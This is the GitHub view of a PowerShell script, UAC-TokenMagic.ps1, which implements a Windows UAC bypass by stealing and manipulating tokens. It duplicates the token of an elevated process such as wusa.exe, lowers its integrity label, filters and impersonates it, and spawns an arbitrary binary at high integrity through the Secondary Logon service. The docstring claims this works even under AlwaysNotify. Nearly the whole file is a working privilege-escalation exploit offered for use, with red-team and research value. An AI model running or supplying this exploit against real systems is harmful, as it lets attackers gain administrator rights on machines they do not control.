-
-
Notifications
You must be signed in to change notification settings - Fork 766
/
UAC-TokenMagic.ps1
374 lines (330 loc) · 10.5 KB
/
UAC-TokenMagic.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
function UAC-TokenMagic {
<#
.SYNOPSIS
Based on James Forshaw's three part post on UAC, linked below, and possibly a technique
used by the CIA!
Essentially we duplicate the token of an elevated process, lower it's mandatory
integrity level, use it to create a new restricted token, impersonate it and
use the Secondary Logon service to spawn a new process with High IL. Like
playing hide-and-go-seek with tokens! ;))
This technique even bypasses the AlwaysNotify setting provided you supply it with
a PID for an elevated process.
Targets:
7,8,8.1,10,10RS1,10RS2
Reference:
+ https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-1.html
+ https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-2.html
+ https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-3.html
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.PARAMETER BinPath
Full path of the module to be executed.
.PARAMETER Args
Arguments to pass to the module.
.PARAMETER ProcPID
PID of an elevated process.
.EXAMPLE
C:\PS> UAC-TokenMagic -BinPath C:\Windows\System32\cmd.exe
.EXAMPLE
C:\PS> UAC-TokenMagic -BinPath C:\Windows\System32\cmd.exe -Args "/c calc.exe" -ProcPID 1116
#>
param(
[Parameter(Mandatory = $True)]
[String]$BinPath,
[Parameter(Mandatory = $False)]
[String]$Args,
[Parameter(Mandatory = $False)]
[int]$ProcPID
)
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public int bInheritHandle;
}
[StructLayout(LayoutKind.Sequential)]
public struct TOKEN_MANDATORY_LABEL
{
public SID_AND_ATTRIBUTES Label;
}
[StructLayout(LayoutKind.Sequential)]
public struct SID_AND_ATTRIBUTES
{
public IntPtr Sid;
public UInt32 Attributes;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
public struct SID_IDENTIFIER_AUTHORITY
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst=6)]
public byte[] Value;
public SID_IDENTIFIER_AUTHORITY(byte[] value)
{
Value = value;
}
}
[StructLayout(LayoutKind.Sequential)]
public struct SHELLEXECUTEINFO
{
public int cbSize;
public uint fMask;
public IntPtr hwnd;
[MarshalAs(UnmanagedType.LPTStr)]
public string lpVerb;
[MarshalAs(UnmanagedType.LPTStr)]
public string lpFile;
[MarshalAs(UnmanagedType.LPTStr)]
public string lpParameters;
[MarshalAs(UnmanagedType.LPTStr)]
public string lpDirectory;
public int nShow;
public IntPtr hInstApp;
public IntPtr lpIDList;
[MarshalAs(UnmanagedType.LPTStr)]
public string lpClass;
public IntPtr hkeyClass;
public uint dwHotKey;
public IntPtr hIcon;
public IntPtr hProcess;
}
public static class UACTokenMagic
{
[DllImport("advapi32.dll", CharSet=CharSet.Unicode, SetLastError=true)]
public static extern bool CreateProcessWithLogonW(
String userName,
String domain,
String password,
int logonFlags,
String applicationName,
String commandLine,
int creationFlags,
int environment,
String currentDirectory,
ref STARTUPINFO startupInfo,
out PROCESS_INFORMATION processInformation);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(
UInt32 processAccess,
bool bInheritHandle,
int processId);
[DllImport("advapi32.dll")]
public static extern bool OpenProcessToken(
IntPtr ProcessHandle,
int DesiredAccess,
ref IntPtr TokenHandle);
[DllImport("advapi32.dll", CharSet=CharSet.Auto)]
public extern static bool DuplicateTokenEx(
IntPtr hExistingToken,
uint dwDesiredAccess,
ref SECURITY_ATTRIBUTES lpTokenAttributes,
int ImpersonationLevel,
int TokenType,
ref IntPtr phNewToken);
[DllImport("advapi32.dll")]
public static extern bool AllocateAndInitializeSid(
ref SID_IDENTIFIER_AUTHORITY pIdentifierAuthority,
byte nSubAuthorityCount,
int dwSubAuthority0, int dwSubAuthority1,
int dwSubAuthority2, int dwSubAuthority3,
int dwSubAuthority4, int dwSubAuthority5,
int dwSubAuthority6, int dwSubAuthority7,
ref IntPtr pSid);
[DllImport("ntdll.dll")]
public static extern int NtSetInformationToken(
IntPtr TokenHandle,
int TokenInformationClass,
ref TOKEN_MANDATORY_LABEL TokenInformation,
int TokenInformationLength);
[DllImport("ntdll.dll")]
public static extern int NtFilterToken(
IntPtr TokenHandle,
UInt32 Flags,
IntPtr SidsToDisable,
IntPtr PrivilegesToDelete,
IntPtr RestrictedSids,
ref IntPtr hToken);
[DllImport("advapi32.dll")]
public static extern bool ImpersonateLoggedOnUser(
IntPtr hToken);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool TerminateProcess(
IntPtr hProcess,
uint uExitCode);
[DllImport("shell32.dll", CharSet = CharSet.Auto)]
public static extern bool ShellExecuteEx(
ref SHELLEXECUTEINFO lpExecInfo);
}
"@
# Test elevated access
$TestAccess = New-Item -Path C:\Windows\System32\test.txt -Type file -ErrorAction SilentlyContinue
if (!$TestAccess) {
echo "`n[*] Session is not elevated"
} else {
echo "`n[!] Session is elevated!`n"
del C:\Windows\System32\test.txt
Break
}
if ($ProcPID){
$IsValidProc = Get-Process -Id $ProcPID -ErrorAction SilentlyContinue
if (!$IsValidProc) {
echo "[!] Invalid process specified!`n"
Break
}
# We don't actually check if the process is elevated, be smart
# QueryLimitedInformation = 0x1000
$hProcess = [UACTokenMagic]::OpenProcess(0x00001000,$false,$ProcPID)
if ($hProcess -ne 0) {
echo "[*] Successfully acquired $((Get-Process -Id $ProcPID).Name) handle"
} else {
echo "[!] Failed to get process token!`n"
Break
}
} else {
# Prepare ShellExecuteEx
$ShellExecuteInfo = New-Object SHELLEXECUTEINFO
$ShellExecuteInfo.cbSize = [System.Runtime.InteropServices.Marshal]::SizeOf($ShellExecuteInfo)
$ShellExecuteInfo.fMask = 0x40 # SEE_MASK_NOCLOSEPROCESS
$ShellExecuteInfo.lpFile = "wusa.exe"
$ShellExecuteInfo.nShow = 0x0 # SW_HIDE
if ([UACTokenMagic]::ShellExecuteEx([ref]$ShellExecuteInfo)) {
echo "[*] WUSA process created"
$hProcess = $ShellExecuteInfo.hProcess
} else {
echo "[!] Failed to create WUSA process!`n"
Break
}
}
# Open process token
$hToken = [IntPtr]::Zero
if ([UACTokenMagic]::OpenProcessToken($hProcess,0x02000000,[ref]$hToken)) {
echo "[*] Opened process token"
} else {
echo "[!] Failed open process token!`n"
Break
}
# Duplicate token
# TOKEN_ALL_ACCESS = 0xf01ff
$hNewToken = [IntPtr]::Zero
$SECURITY_ATTRIBUTES = New-Object SECURITY_ATTRIBUTES
if ([UACTokenMagic]::DuplicateTokenEx($hToken,0xf01ff,[ref]$SECURITY_ATTRIBUTES,2,1,[ref]$hNewToken)) {
echo "[*] Duplicated process token"
} else {
echo "[!] Failed to duplicate process token!`n"
Break
}
# SID initialize
$SID_IDENTIFIER_AUTHORITY = New-Object SID_IDENTIFIER_AUTHORITY
$SID_IDENTIFIER_AUTHORITY.Value = [Byte[]](0x0,0x0,0x0,0x0,0x0,0x10)
$pSID = [IntPtr]::Zero
if ([UACTokenMagic]::AllocateAndInitializeSid([ref]$SID_IDENTIFIER_AUTHORITY,1,0x2000,0,0,0,0,0,0,0,[ref]$pSID)) {
echo "[*] Initialized MedIL SID"
} else {
echo "[!] Failed initialize SID!`n"
Break
}
# Token integrity label
$SID_AND_ATTRIBUTES = New-Object SID_AND_ATTRIBUTES
$SID_AND_ATTRIBUTES.Sid = $pSID
$SID_AND_ATTRIBUTES.Attributes = 0x20 # SE_GROUP_INTEGRITY
$TOKEN_MANDATORY_LABEL = New-Object TOKEN_MANDATORY_LABEL
$TOKEN_MANDATORY_LABEL.Label = $SID_AND_ATTRIBUTES
$TOKEN_MANDATORY_LABEL_SIZE = [System.Runtime.InteropServices.Marshal]::SizeOf($TOKEN_MANDATORY_LABEL)
if([UACTokenMagic]::NtSetInformationToken($hNewToken,25,[ref]$TOKEN_MANDATORY_LABEL,$($TOKEN_MANDATORY_LABEL_SIZE)) -eq 0) {
echo "[*] Lowered token mandatory IL"
} else {
echo "[!] Failed modify token!`n"
Break
}
# Create restricted token
# LUA_TOKEN = 0x4
$LUAToken = [IntPtr]::Zero
if([UACTokenMagic]::NtFilterToken($hNewToken,4,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero,[ref]$LUAToken) -eq 0) {
echo "[*] Created restricted token"
} else {
echo "[!] Failed to create restricted token!`n"
Break
}
# Duplicate restricted token
# TOKEN_IMPERSONATE | TOKEN_QUERY = 0xc
$hNewToken = [IntPtr]::Zero
$SECURITY_ATTRIBUTES = New-Object SECURITY_ATTRIBUTES
if ([UACTokenMagic]::DuplicateTokenEx($LUAToken,0xc,[ref]$SECURITY_ATTRIBUTES,2,2,[ref]$hNewToken)) {
echo "[*] Duplicated restricted token"
} else {
echo "[!] Failed to duplicate restricted token!`n"
Break
}
# Impersonate security context
if([UACTokenMagic]::ImpersonateLoggedOnUser($hNewToken)) {
echo "[*] Successfully impersonated security context"
} else {
echo "[!] Failed impersonate context!`n"
Break
}
# Prepare CreateProcessWithLogon
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000001
$StartupInfo.wShowWindow = 0x0001
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo)
$ProcessInfo = New-Object PROCESS_INFORMATION
# Spawn elevated process
# LOGON_NETCREDENTIALS_ONLY = 0x2
$CurrentDirectory = $Env:SystemRoot
if ([UACTokenMagic]::CreateProcessWithLogonW("aaa", "bbb", "ccc", 0x00000002, $BinPath, $Args, 0x04000000, $null, $CurrentDirectory,[ref]$StartupInfo, [ref]$ProcessInfo)) {
echo "[*] Magic..`n"
} else {
echo "[!] Failed to create process!`n"
Break
}
# Kill wusa, there should be more/robust cleanup in the script, but ... lazy
if (!$ProcPID) {
$CallResult = [UACTokenMagic]::TerminateProcess($ShellExecuteInfo.hProcess, 1)
}
}